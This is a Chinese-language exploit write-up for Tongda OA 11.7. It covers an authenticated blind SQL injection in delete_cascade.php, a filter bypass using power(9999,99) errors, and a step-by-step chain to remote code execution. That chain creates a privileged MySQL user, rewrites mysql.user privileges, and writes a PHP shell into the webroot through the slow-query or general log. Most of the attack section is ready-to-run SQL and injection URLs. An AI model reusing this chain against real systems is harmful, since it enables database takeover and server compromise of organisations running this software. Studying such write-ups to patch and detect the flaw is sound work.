通达oa_11.7_后台sql注入漏洞&rce

# 通达oa 11.7 后台sql注入漏洞&rce

===============================

一、漏洞简介
————

### 利用条件:

需要登陆后台

二、漏洞影响
————

通达oa 11.7

三、复现过程
————

注入出现在`general/hr/manage/query/delete_cascade.php`文件中,代码实现如下:

![1.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId25.png)

首先判断`$condition_cascade`是否为空,如果不为空,则将其中的\’替换为\’。为什么要这样替换呢,主要是因为V11.7版本中,注册变量时考虑了安全问题,将用户输入的字符用addslashes函数进行保护,如下:

`inc/common.inc.php`代码

![2.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId26.png)

因为是无回显机制,是盲注,所以尝试(select 1 from (select
sleep(5))a),结果没那么简单:

![3.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId27.png)

触发了通达OA的过滤机制,翻看代码,在`inc/conn.php`文件中找到过滤机制如下:

![4.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId28.png)

其过滤了一些字符,但是并非无法绕过,盲注的核心是:substr、if等函数,均未被过滤,所以还是有机会的。

传入错误的SQL语句时,页面出错:

![5.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId29.png)

那么只要构造MySQL报错即可配合if函数进行盲注了,翻看局外人师傅在补天白帽大会上的分享,发现`power(9999,99)`也可以使数据库报错,所以构造语句:

select if((substr(user(),1,1)=’r’),1,power(9999,99)) # 当字符相等时,不报错,错误时报错

![6.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId30.png)

![7.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId31.png)

### 构造利用链

> 添加用户:

grant all privileges ON mysql.* TO ‘at666’@’%’ IDENTIFIED BY ‘abcABC@123’ WITH GRANT OPTION

![8.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId33.png)

![9.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId34.png)

然后该用户是对mysql数据库拥有所有权限的,然后给自己加权限:

UPDATE `mysql`.`user` SET `Password` = ‘*DE0742FA79F6754E99FDB9C8D2911226A5A9051D’, `Select_priv` = ‘Y’, `Insert_priv` = ‘Y’, `Update_priv` = ‘Y’, `Delete_priv` = ‘Y’, `Create_priv` = ‘Y’, `Drop_priv` = ‘Y’, `Reload_priv` = ‘Y’, `Shutdown_priv` = ‘Y’, `Process_priv` = ‘Y’, `File_priv` = ‘Y’, `Grant_priv` = ‘Y’, `References_priv` = ‘Y’, `Index_priv` = ‘Y’, `Alter_priv` = ‘Y’, `Show_db_priv` = ‘Y’, `Super_priv` = ‘Y’, `Create_tmp_table_priv` = ‘Y’, `Lock_tables_priv` = ‘Y’, `Execute_priv` = ‘Y’, `Repl_slave_priv` = ‘Y’, `Repl_client_priv` = ‘Y’, `Create_view_priv` = ‘Y’, `Show_view_priv` = ‘Y’, `Create_routine_priv` = ‘Y’, `Alter_routine_priv` = ‘Y’, `Create_user_priv` = ‘Y’, `Event_priv` = ‘Y’, `Trigger_priv` = ‘Y’, `Create_tablespace_priv` = ‘Y’, `ssl_type` = ”, `ssl_cipher` = ”, `x509_issuer` = ”, `x509_subject` = ”, `max_questions` = 0, `max_updates` = 0, `max_connections` = 0, `max_user_connections` = 0, `plugin` = ‘mysql_native_password’, `authentication_string` = ”, `password_expired` = ‘Y’ WHERE `Host` = Cast(‘%’ AS Binary(1)) AND `User` = Cast(‘at666’ AS Binary(5));

![10.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId35.png)

然后用注入点刷新权限,因为该用户是没有刷新权限的权限的:`general/hr/manage/query/delete_cascade.php?condition_cascade=flush privileges;`这样就拥有了所有权限。再次登录:

![11.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId36.png)

提示这个,或者让改密码死活改不了。再执行一下

grant all privileges ON mysql.* TO ‘at666’@’%’ IDENTIFIED BY ‘abcABC@123′ WITH GRANT OPTION

![12.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId37.png)

### 写shell

# 查路径:
select @@basedir; # c:\td0a117\mysql5\,那么web目录就是c:\td0a117\webroot # 方法1:
set global slow_query_log=on;
set global slow_query_log_file=’C:/td0a117/webroot/tony.php’;
select ‘‘ or sleep(11);
# 方法2:
set global general_log = on;
set global general_log_file = ‘C:/td0a117/webroot/tony2.php’;
select ‘‘;
show variables like ‘%general%’;

![13.png](/static/qingy/通达oa_11.7_后台sql注入漏洞&rce/img/rId39.png)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容